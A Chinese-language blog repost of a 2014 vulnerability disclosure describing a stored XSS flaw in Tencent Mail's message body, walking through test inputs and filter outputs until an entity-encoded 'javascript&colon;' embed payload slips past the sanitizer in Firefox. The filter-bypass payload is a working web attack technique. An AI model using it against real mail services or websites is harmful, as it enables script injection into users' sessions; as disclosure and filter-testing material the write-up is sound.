记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

腾讯邮箱正文存储行XSS漏洞

2014-06-27 03:45
邮件正文的跨站脚本过滤规则不完善导致被绕过。
 
 
 
测试1:
 
<embed src="javascript:alert(3)">
 
 
结果1:
 
<embed invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash">
 
 
 
 
尽量将测试内容最小化,找出问题根源。测试2:
 
<embed src="javascript">
 
 
结果2:
 
<embed src="javascript" invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash"></div>
 
 
 
 
确定伪协议后面的":"触发了过滤规则。实体编码之。测试3:
 
<embed src="javascript&colon;alert(2)">
 
 
结果3:
 
<embed src="javascript:alert(2)" invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash">
 
 
 
 
PS:该XSS Vector仅在Firefox下有效
 
测试与FF29.0.1
 
 
 
修复方案:
完善过滤规则

知识来源: www.2cto.com/Article/201406/311542.html

阅读:99624 | 评论:0 | 标签:xss 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“腾讯邮箱正文存储行XSS漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云